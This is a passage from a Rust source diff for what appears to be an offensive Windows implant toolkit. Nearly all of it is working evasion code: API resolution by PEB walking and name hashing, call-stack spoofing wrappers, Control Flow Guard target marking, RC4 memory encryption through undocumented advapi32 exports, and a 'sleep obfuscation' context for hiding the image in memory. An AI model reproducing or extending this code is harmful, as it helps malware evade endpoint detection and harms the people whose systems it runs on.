crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void) as usize + as u32; + #[cfg(not(feature = "spoof-uwd"))] + f() + } + + /// Return the TID of the current thread. + /// + /// # Returns + /// + /// The thread identifier (TID) of the calling thread. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn GetCurrentThreadId(&mut self) -> u32 { + let f: FnGetCurrentThreadId = transmute(self.GetCurrentThreadId_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void) as usize + as u32; + #[cfg(not(feature = "spoof-uwd"))] + f() + } + + // ── Fiber Operations ────────────────────────────────────────────── + + /// Convert the current thread to a fiber. + /// + /// # Arguments + /// + /// * `lpParameter` - Pointer to application-defined data associated with the fiber. + /// + /// # Returns + /// + /// Pointer to the fiber context on success, or null on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn ConvertThreadToFiber(&mut self, lpParameter: PVOID) -> PVOID { + let f: FnConvertThreadToFiber = transmute(self.ConvertThreadToFiber_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + lpParameter + ) as PVOID; + #[cfg(not(feature = "spoof-uwd"))] + f(lpParameter) + } + + /// Convert the current fiber back to a thread. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn ConvertFiberToThread(&mut self) -> BOOL { + let f: FnConvertFiberToThread = transmute(self.ConvertFiberToThread_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f() + } + + /// Create a new fiber with the specified stack size and entry point. + /// + /// # Arguments + /// + /// * `dwStackSize` - Initial stack size for the fiber, in bytes (0 for default). + /// * `lpStartAddress` - Pointer to the fiber entry-point function. + /// * `lpParameter` - Pointer to application-defined data passed to the fiber function. + /// + /// # Returns + /// + /// Pointer to the fiber context on success, or null on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn CreateFiber( + &mut self, + dwStackSize: SIZE_T, + lpStartAddress: LPFIBER_START_ROUTINE, + lpParameter: PVOID, + ) -> PVOID { + let f: FnCreateFiber = transmute(self.CreateFiber_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + dwStackSize, + transmute::<_, *const core::ffi::c_void>(lpStartAddress), + lpParameter + ) as PVOID; + #[cfg(not(feature = "spoof-uwd"))] + f(dwStackSize, lpStartAddress, lpParameter) + } + + /// Delete a fiber object. + /// + /// # Arguments + /// + /// * `lpFiber` - Pointer to the fiber to delete. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn DeleteFiber(&mut self, lpFiber: PVOID) { + let f: FnDeleteFiber = transmute(self.DeleteFiber_ptr); + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void, lpFiber); + return; + } + #[cfg(not(feature = "spoof-uwd"))] + f(lpFiber) + } + + /// Switch execution to the specified fiber. + /// + /// # Arguments + /// + /// * `lpFiber` - Pointer to the fiber to switch to. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn SwitchToFiber(&mut self, lpFiber: PVOID) { + let f: FnSwitchToFiber = transmute(self.SwitchToFiber_ptr); + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void, lpFiber); + return; + } + #[cfg(not(feature = "spoof-uwd"))] + f(lpFiber) + } + + // ── Thread Pool ────────────────────────────────────────────────── + + /// Close a thread pool. + /// + /// # Arguments + /// + /// * `Pool` - Pointer to the thread pool object to close. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn CloseThreadpool(&mut self, Pool: PVOID) { + let f: FnCloseThreadpool = transmute(self.CloseThreadpool_ptr); + #[cfg(feature = "spoof-uwd")] + { + crate::spoof_uwd!(&self.spoof_config, f as *const core::ffi::c_void, Pool); + return; + } + #[cfg(not(feature = "spoof-uwd"))] + f(Pool) + } + + // ── DLL Notifications ──────────────────────────────────────────── + + /// Disable DLL_THREAD_ATTACH/DETACH notifications. + /// + /// # Arguments + /// + /// * `hLibModule` - Handle to the DLL module for which to disable thread notifications. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn DisableThreadLibraryCalls(&mut self, hLibModule: PVOID) -> BOOL { + let f: FnDisableThreadLibraryCalls = transmute(self.DisableThreadLibraryCalls_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hLibModule + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f(hLibModule) + } +} + +impl KernelBaseModule { + /// Mark addresses as valid CFG call targets. + /// + /// # Arguments + /// + /// * `hProcess` - Handle to the process whose CFG bitmap is to be modified. + /// * `VirtualAddress` - Base address of the memory region containing the call targets. + /// * `RegionSize` - Size of the memory region, in bytes. + /// * `NumberOfOffsets` - Number of entries in the `OffsetInformation` array. + /// * `OffsetInformation` - Pointer to an array of `CFG_CALL_TARGET_INFO` structures describing each target. + /// + /// # Returns + /// + /// Nonzero (`TRUE`) on success, 0 (`FALSE`) on failure. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn SetProcessValidCallTargets( + &mut self, + hProcess: HANDLE, + VirtualAddress: PVOID, + RegionSize: SIZE_T, + NumberOfOffsets: ULONG, + OffsetInformation: PCFG_CALL_TARGET_INFO, + ) -> BOOL { + let f: FnSetProcessValidCallTargets = transmute(self.SetProcessValidCallTargets_ptr); + #[cfg(feature = "spoof-uwd")] + return crate::spoof_uwd!( + &self.spoof_config, + f as *const core::ffi::c_void, + hProcess, + VirtualAddress, + RegionSize, + NumberOfOffsets as usize, + OffsetInformation + ) as BOOL; + #[cfg(not(feature = "spoof-uwd"))] + f( + hProcess, + VirtualAddress, + RegionSize, + NumberOfOffsets, + OffsetInformation, + ) + } +} + +impl AdvapiModule { + /// RC4 encrypt/decrypt a buffer with a key (symmetric -- same call encrypts and decrypts). + /// + /// # Arguments + /// + /// * `Data` - Pointer to a `USTRING` describing the buffer to encrypt or decrypt in-place. + /// * `Key` - Pointer to a `USTRING` describing the RC4 key. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn SystemFunction032(&self, Data: PUSTRING, Key: PUSTRING) -> NTSTATUS { + let f: FnSystemFunction032 = transmute(self.SystemFunction032_ptr); + f(Data, Key) + } + + /// Encrypt (RC4) a memory buffer in-place using DPAPI internals. + /// + /// # Arguments + /// + /// * `Memory` - Pointer to the memory buffer to encrypt in-place. + /// * `MemorySize` - Size of the memory buffer, in bytes (must be a multiple of the block size). + /// * `OptionFlags` - Encryption option flags. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn SystemFunction040( + &self, + Memory: PVOID, + MemorySize: ULONG, + OptionFlags: ULONG, + ) -> NTSTATUS { + let f: FnSystemFunction040 = transmute(self.SystemFunction040_ptr); + f(Memory, MemorySize, OptionFlags) + } + + /// Decrypt (RC4) a memory buffer in-place using DPAPI internals. + /// + /// # Arguments + /// + /// * `Memory` - Pointer to the memory buffer to decrypt in-place. + /// * `MemorySize` - Size of the memory buffer, in bytes (must be a multiple of the block size). + /// * `OptionFlags` - Decryption option flags. + /// + /// # Returns + /// + /// `NTSTATUS` -- `STATUS_SUCCESS` on success, or an appropriate NT error code. + #[inline(always)] + #[link_section = ".text$E"] + pub unsafe fn SystemFunction041( + &self, + Memory: PVOID, + MemorySize: ULONG, + OptionFlags: ULONG, + ) -> NTSTATUS { + let f: FnSystemFunction041 = transmute(self.SystemFunction041_ptr); + f(Memory, MemorySize, OptionFlags) + } +} + +/// Runtime context for sleep obfuscation. +/// +/// Configured by the caller before invoking a sleep technique. Holds the image region +/// to encrypt, the sleep duration, and per-section protection state for RX/RW transitions. +pub struct SleepContext { + /// Non-zero if CFG (Control Flow Guard) is enforced in this process. + pub cfg: DWORD, + /// Sleep duration in milliseconds. + pub dw_milliseconds: DWORD, + /// Base address of the memory region to encrypt during sleep. + pub buffer: *mut u8, + /// Length of the memory region in bytes. + pub length: usize, + /// Size of allocated shellcode stubs (for cleanup). + pub stub_size: usize, + /// Private heap handle for stub allocations. + pub heap: HANDLE, + /// Number of valid entries in `sections`. + pub num_sections: usize, + /// Per-section protection tracking (up to 20 sections). + pub sections: [MemorySection; 20], +} + +/// Tracks a memory section's address, size, and protection state. +/// +/// Used to save/restore page protections across the encrypt-sleep-decrypt cycle. +#[repr(C)] +pub struct MemorySection { + /// Virtual address of the section. + pub base_address: PVOID, + /// Size of the section in bytes. + pub size: SIZE_T, + /// Current page protection (`PAGE_*` constant). + pub current_protect: DWORD, + /// Protection to restore after unmasking. + pub previous_protect: DWORD, +} + +impl Api { + /// Construct a new [`Api`] instance with all function pointers resolved from the PEB. + /// + /// Walks the PEB loader data to find ntdll, kernel32, kernelbase, and advapi32 + /// base addresses, then resolves every function pointer by DJB2 hash of its export + /// name. If advapi32 is not already loaded, it is loaded via `LdrLoadDll`. + /// SystemFunction032/040/041 are resolved by name string rather than hash because + /// they are undocumented exports not present in all hash databases. + /// + /// # Returns + /// + /// A fully initialized `Api`. If ntdll or kernel32 cannot be found, returns + /// early with all function pointers null -- callers should check `ntdll.handle != 0`. + #[link_section = ".text$E"] + pub fn new() -> Self { + unsafe { + let mut api = Api { + ntdll: NtdllModule { + handle: 0, + size: 0, + #[cfg(feature = "spoof-uwd")] + spoof_config: core::mem::zeroed(), + #[cfg(all(feature = "spoof-uwd", feature = "spoof-syscall"))] + syscall_spoof_config: core::mem::zeroed(), + NtGetContextThread_ptr: null_mut(), + NtSetContextThread_ptr: null_mut(), + NtResumeThread_ptr: null_mut(), + NtWaitForSingleObject_ptr: null_mut(), + RtlUserThreadStart_ptr: null_mut(), + RtlCreateUserThread_ptr: null_mut(), + NtAllocateVirtualMemory_ptr: null_mut(), + NtFreeVirtualMemory_ptr: null_mut(), + NtProtectVirtualMemory_ptr: null_mut(), + RtlCreateHeap_ptr: null_mut(), + LdrGetProcedureAddress_ptr: null_mut(), + LdrLoadDll_ptr: null_mut(), + LdrUnloadDll_ptr: null_mut(), + NtAlertResumeThread_ptr: null_mut(), + NtClose_ptr: null_mut(), + NtContinue_ptr: null_mut(), + NtCreateEvent_ptr: null_mut(), + NtCreateThreadEx_ptr: null_mut(), + NtOpenThread_ptr: null_mut(), + NtQueryInformationProcess_ptr: null_mut(), + NtQueueApcThread_ptr: null_mut(), + NtSetEvent_ptr: null_mut(), + NtSignalAndWaitForSingleObject_ptr: null_mut(), + NtTerminateThread_ptr: null_mut(), + NtTestAlert_ptr: null_mut(), + NtDuplicateObject_ptr: null_mut(), + RtlAllocateHeap_ptr: null_mut(), + RtlExitUserThread_ptr: null_mut(), + RtlFreeHeap_ptr: null_mut(), + RtlInitAnsiString_ptr: null_mut(), + RtlInitUnicodeString_ptr: null_mut(), + RtlAnsiStringToUnicodeString_ptr: null_mut(), + RtlFreeUnicodeString_ptr: null_mut(), + RtlRandomEx_ptr: null_mut(), + RtlWalkHeap_ptr: null_mut(), + RtlCreateTimerQueue_ptr: null_mut(), + RtlDeleteTimerQueue_ptr: null_mut(), + RtlCreateTimer_ptr: null_mut(), + RtlCaptureContext_ptr: null_mut(), + RtlAcquireSRWLockExclusive_ptr: null_mut(), + ZwWaitForWorkViaWorkerFactory_ptr: null_mut(), + NtLockVirtualMemory_ptr: null_mut(), + TpAllocPool_ptr: null_mut(), + TpSetPoolStackInformation_ptr: null_mut(), + TpSetPoolMinThreads_ptr: null_mut(), + TpSetPoolMaxThreads_ptr: null_mut(), + TpAllocTimer_ptr: null_mut(), + TpSetTimer_ptr: null_mut(), + TpAllocWait_ptr: null_mut(), + TpSetWait_ptr: null_mut(), + TpReleaseCleanupGroup_ptr: null_mut(), + #[cfg(feature = "debug-dbgprint")] + DbgPrint_ptr: null_mut(), + }, + kernel32: Kernel32Module { + handle: 0, + size: 0, + #[cfg(feature = "spoof-uwd")] + spoof_config: core::mem::zeroed(), + LoadLibraryA_ptr: null_mut(), + LoadLibraryExA_ptr: null_mut(), + GetProcAddress_ptr: null_mut(), + WaitForSingleObject_ptr: null_mut(), + WaitForSingleObjectEx_ptr: null_mut(), + Sleep_ptr: null_mut(), + CreateToolhelp32Snapshot_ptr: null_mut(), + Thread32First_ptr: null_mut(), + Thread32Next_ptr: null_mut(), + OpenThread_ptr: null_mut(), + DuplicateHandle_ptr: null_mut(), + GetThreadContext_ptr: null_mut(), + SetThreadContext_ptr: null_mut(), + SetEvent_ptr: null_mut(), + VirtualProtect_ptr: null_mut(), + VirtualAlloc_ptr: null_mut(), + VirtualFree_ptr: null_mut(), + GetCurrentProcess_ptr: null_mut(), + GetCurrentProcessId_ptr: null_mut(), + GetCurrentThreadId_ptr: null_mut(), + BaseThreadInitThunk_ptr: null_mut(), + EnumDateFormatsExA_ptr: null_mut(), + ConvertThreadToFiber_ptr: null_mut(), + ConvertFiberToThread_ptr: null_mut(), + CreateFiber_ptr: null_mut(), + DeleteFiber_ptr: null_mut(), + SwitchToFiber_ptr: null_mut(), + CloseThreadpool_ptr: null_mut(), + DisableThreadLibraryCalls_ptr: null_mut(), + }, + kernelbase: KernelBaseModule { + handle: 0, + size: 0, + #[cfg(feature = "spoof-uwd")] + spoof_config: core::mem::zeroed(), + SetProcessValidCallTargets_ptr: null_mut(), + }, + advapi: AdvapiModule { + handle: 0, + size: 0, + SystemFunction032_ptr: null_mut(), + SystemFunction040_ptr: null_mut(), + SystemFunction041_ptr: null_mut(), + enckey: [0; KEY_SIZE], + }, + sleep: SleepContext { + cfg: 0, + dw_milliseconds: 0, + buffer: null_mut(), + length: 0, + stub_size: 0, + heap: null_mut(), + num_sections: 0, + sections: core::mem::zeroed(), + }, + }; + + api.ntdll.handle = get_loaded_module_by_hash(hash_str!("ntdll.dll")); + api.kernel32.handle = get_loaded_module_by_hash(hash_str!("kernel32.dll")); + api.kernelbase.handle = get_loaded_module_by_hash(hash_str!("kernelbase.dll")); + api.advapi.handle = get_loaded_module_by_hash(hash_str!("advapi32.dll")); + + if api.ntdll.handle == 0 || api.kernel32.handle == 0 { + return api; + } + + api.ntdll.size = module_size(api.ntdll.handle); + api.kernel32.size = module_size(api.kernel32.handle); + if api.kernelbase.handle != 0 { + api.kernelbase.size = module_size(api.kernelbase.handle); + } + if api.advapi.handle != 0 { + api.advapi.size = module_size(api.advapi.handle); + } + + #[cfg(feature = "debug-dbgprint")] + { + api.ntdll.DbgPrint_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("DbgPrint") as usize, + )); + } + + api.ntdll.NtGetContextThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtGetContextThread") as usize, + )); + api.ntdll.NtSetContextThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtSetContextThread") as usize, + )); + api.ntdll.NtResumeThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtResumeThread") as usize, + )); + api.ntdll.NtWaitForSingleObject_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtWaitForSingleObject") as usize, + )); + api.ntdll.RtlUserThreadStart_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlUserThreadStart") as usize, + )); + api.ntdll.RtlCreateUserThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlCreateUserThread") as usize, + )); + api.ntdll.NtAllocateVirtualMemory_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("ZwAllocateVirtualMemory") as usize, + )); + api.ntdll.NtFreeVirtualMemory_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("ZwFreeVirtualMemory") as usize, + )); + api.ntdll.NtProtectVirtualMemory_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("ZwProtectVirtualMemory") as usize, + )); + api.ntdll.RtlCreateHeap_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlCreateHeap") as usize, + )); + api.ntdll.LdrGetProcedureAddress_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("LdrGetProcedureAddress") as usize, + )); + api.ntdll.LdrLoadDll_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("LdrLoadDll") as usize, + )); + api.ntdll.LdrUnloadDll_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("LdrUnloadDll") as usize, + )); + api.ntdll.NtAlertResumeThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtAlertResumeThread") as usize, + )); + api.ntdll.NtClose_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtClose") as usize, + )); + api.ntdll.NtContinue_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtContinue") as usize, + )); + api.ntdll.NtCreateEvent_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtCreateEvent") as usize, + )); + api.ntdll.NtCreateThreadEx_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtCreateThreadEx") as usize, + )); + api.ntdll.NtOpenThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtOpenThread") as usize, + )); + api.ntdll.NtQueryInformationProcess_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtQueryInformationProcess") as usize, + )); + api.ntdll.NtQueueApcThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtQueueApcThread") as usize, + )); + api.ntdll.NtSetEvent_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtSetEvent") as usize, + )); + api.ntdll.NtSignalAndWaitForSingleObject_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtSignalAndWaitForSingleObject") as usize, + )); + api.ntdll.NtTerminateThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtTerminateThread") as usize, + )); + api.ntdll.NtTestAlert_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtTestAlert") as usize, + )); + api.ntdll.NtDuplicateObject_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtDuplicateObject") as usize, + )); + api.ntdll.RtlAllocateHeap_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlAllocateHeap") as usize, + )); + api.ntdll.RtlExitUserThread_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlExitUserThread") as usize, + )); + api.ntdll.RtlFreeHeap_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlFreeHeap") as usize, + )); + api.ntdll.RtlInitAnsiString_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlInitAnsiString") as usize, + )); + api.ntdll.RtlInitUnicodeString_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlInitUnicodeString") as usize, + )); + api.ntdll.RtlAnsiStringToUnicodeString_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlAnsiStringToUnicodeString") as usize, + )); + api.ntdll.RtlFreeUnicodeString_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlFreeUnicodeString") as usize, + )); + api.ntdll.RtlRandomEx_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlRandomEx") as usize, + )); + api.ntdll.RtlWalkHeap_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlWalkHeap") as usize, + )); + api.ntdll.RtlCreateTimerQueue_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlCreateTimerQueue") as usize, + )); + api.ntdll.RtlDeleteTimerQueue_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlDeleteTimerQueue") as usize, + )); + api.ntdll.RtlCreateTimer_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlCreateTimer") as usize, + )); + api.ntdll.RtlCaptureContext_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlCaptureContext") as usize, + )); + api.ntdll.RtlAcquireSRWLockExclusive_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("RtlAcquireSRWLockExclusive") as usize, + )); + api.ntdll.ZwWaitForWorkViaWorkerFactory_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("ZwWaitForWorkViaWorkerFactory") as usize, + )); + api.ntdll.NtLockVirtualMemory_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("NtLockVirtualMemory") as usize, + )); + api.ntdll.TpAllocPool_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpAllocPool") as usize, + )); + api.ntdll.TpSetPoolStackInformation_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpSetPoolStackInformation") as usize, + )); + api.ntdll.TpSetPoolMinThreads_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpSetPoolMinThreads") as usize, + )); + api.ntdll.TpSetPoolMaxThreads_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpSetPoolMaxThreads") as usize, + )); + api.ntdll.TpAllocTimer_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpAllocTimer") as usize, + )); + api.ntdll.TpSetTimer_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpSetTimer") as usize, + )); + api.ntdll.TpAllocWait_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpAllocWait") as usize, + )); + api.ntdll.TpSetWait_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpSetWait") as usize, + )); + api.ntdll.TpReleaseCleanupGroup_ptr = transmute(get_export_by_hash( + api.ntdll.handle, + hash_str!("TpReleaseCleanupGroup") as usize, + )); + + api.kernel32.LoadLibraryA_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("LoadLibraryA") as usize, + )); + api.kernel32.LoadLibraryExA_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("LoadLibraryExA") as usize, + )); + api.kernel32.GetProcAddress_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("GetProcAddress") as usize, + )); + api.kernel32.WaitForSingleObject_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("WaitForSingleObject") as usize, + )); + api.kernel32.WaitForSingleObjectEx_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("WaitForSingleObjectEx") as usize, + )); + api.kernel32.Sleep_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("Sleep") as usize, + )); + api.kernel32.CreateToolhelp32Snapshot_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("CreateToolhelp32Snapshot") as usize, + )); + api.kernel32.Thread32First_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("Thread32First") as usize, + )); + api.kernel32.Thread32Next_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("Thread32Next") as usize, + )); + api.kernel32.OpenThread_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("OpenThread") as usize, + )); + api.kernel32.DuplicateHandle_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("DuplicateHandle") as usize, + )); + api.kernel32.GetThreadContext_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("GetThreadContext") as usize, + )); + api.kernel32.SetThreadContext_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("SetThreadContext") as usize, + )); + api.kernel32.SetEvent_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("SetEvent") as usize, + )); + api.kernel32.VirtualProtect_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("VirtualProtect") as usize, + )); + api.kernel32.VirtualAlloc_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("VirtualAlloc") as usize, + )); + api.kernel32.VirtualFree_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("VirtualFree") as usize, + )); + api.kernel32.GetCurrentProcess_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("GetCurrentProcess") as usize, + )); + api.kernel32.GetCurrentProcessId_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("GetCurrentProcessId") as usize, + )); + api.kernel32.GetCurrentThreadId_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("GetCurrentThreadId") as usize, + )); + api.kernel32.BaseThreadInitThunk_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("BaseThreadInitThunk") as usize, + )); + api.kernel32.EnumDateFormatsExA_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("EnumDateFormatsExA") as usize, + )); + api.kernel32.ConvertThreadToFiber_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("ConvertThreadToFiber") as usize, + )); + api.kernel32.ConvertFiberToThread_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("ConvertFiberToThread") as usize, + )); + api.kernel32.CreateFiber_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("CreateFiber") as usize, + )); + api.kernel32.DeleteFiber_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("DeleteFiber") as usize, + )); + api.kernel32.SwitchToFiber_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("SwitchToFiber") as usize, + )); + api.kernel32.CloseThreadpool_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("CloseThreadpool") as usize, + )); + api.kernel32.DisableThreadLibraryCalls_ptr = transmute(get_export_by_hash( + api.kernel32.handle, + hash_str!("DisableThreadLibraryCalls") as usize, + )); + + if api.kernelbase.handle != 0 { + api.kernelbase.SetProcessValidCallTargets_ptr = transmute(get_export_by_hash( + api.kernelbase.handle, + hash_str!("SetProcessValidCallTargets") as usize, + )); + } + + if api.advapi.handle == 0 + && !api.ntdll.LdrLoadDll_ptr.is_null() + && !api.ntdll.RtlInitUnicodeString_ptr.is_null() + { + let rtl_init_unicode: FnRtlInitUnicodeString = + transmute(api.ntdll.RtlInitUnicodeString_ptr); + let ldr_load_dll: FnLdrLoadDll = transmute(api.ntdll.LdrLoadDll_ptr); + + let mut unicode: UNICODE_STRING = core::mem::zeroed(); + let mut advapi_handle: PVOID = null_mut(); + + let advapi_name: [u16; 13] = [ + b'a' as u16, + b'd' as u16, + b'v' as u16, + b'a' as u16, + b'p' as u16, + b'i' as u16, + b'3' as u16, + b'2' as u16, + b'.' as u16, + b'd' as u16, + b'l' as u16, + b'l' as u16, + 0, + ]; + + rtl_init_unicode(&mut unicode, advapi_name.as_ptr()); + ldr_load_dll(null_mut(), null_mut(), &mut unicode, &mut advapi_handle); + api.advapi.handle = advapi_handle as usize; + + if api.advapi.handle != 0 { + api.advapi.size = module_size(api.advapi.handle); + } + } + + if api.advapi.handle != 0 + && !api.ntdll.LdrGetProcedureAddress_ptr.is_null() + && !api.ntdll.RtlInitAnsiString_ptr.is_null() + { + let rtl_init_ansi: FnRtlInitAnsiString = transmute(api.ntdll.RtlInitAnsiString_ptr); + let ldr_get_proc: FnLdrGetProcedureAddress = + transmute(api.ntdll.LdrGetProcedureAddress_ptr); + + let mut ansi: STRING = core::mem::zeroed(); + let mut sys_fn: PVOID = null_mut(); + let sys_name = b"SystemFunction032\0"; + + rtl_init_ansi(&mut ansi, sys_name.as_ptr() as _); + ldr_get_proc(api.advapi.handle as PVOID, &mut ansi, 0, &mut sys_fn); + api.advapi.SystemFunction032_ptr = sys_fn as *mut FnSystemFunction032; + + let mut sys_fn040: PVOID = null_mut(); + let sys_name040 = b"SystemFunction040\0"; + rtl_init_ansi(&mut ansi, sys_name040.as_ptr() as _); + ldr_get_proc(api.advapi.handle as PVOID, &mut ansi, 0, &mut sys_fn040); + api.advapi.SystemFunction040_ptr = sys_fn040 as *mut FnSystemFunction040; + + let mut sys_fn041: PVOID = null_mut(); + let sys_name041 = b"SystemFunction041\0"; + rtl_init_ansi(&mut ansi, sys_name041.as_ptr() as _); + ldr_get_proc(api.advapi.handle as PVOID, &mut ansi, 0, &mut sys_fn041); + api.advapi.SystemFunction041_ptr = sys_fn041 as *mut FnSystemFunction041; + } + + api + } + } + + /// Build call-stack spoofing configurations for all module wrappers. + /// + /// Scans ntdll, kernel32, and kernelbase for suitable frame-faking gadgets + /// and populates each module's `spoof_config` (and optionally `syscall_spoof_config` + /// for indirect syscall dispatch). Falls back through multiple source combinations + /// if the preferred gadget sources are not available. + /// + /// # Safety + /// + /// All module handles and sizes must be valid (i.e., [`Api::new`] must have + /// succeeded). Must be called before any spoofed API calls are made. + #[cfg(feature = "spoof-uwd")] + #[link_section = ".text$E"] + pub unsafe fn build_spoof_configs(&mut self) { + let ntdll_base = self.ntdll.handle; + let k32_base = self.kernel32.handle; + let kb_base = self.kernelbase.handle; + let rtl_start = self.ntdll.RtlUserThreadStart_ptr as usize; + let base_thunk = self.kernel32.BaseThreadInitThunk_ptr as usize; + + let build = |ff_src, sf_src| { + crate::spoof::uwd::build_config( + ntdll_base, k32_base, ff_src, sf_src, kb_base, 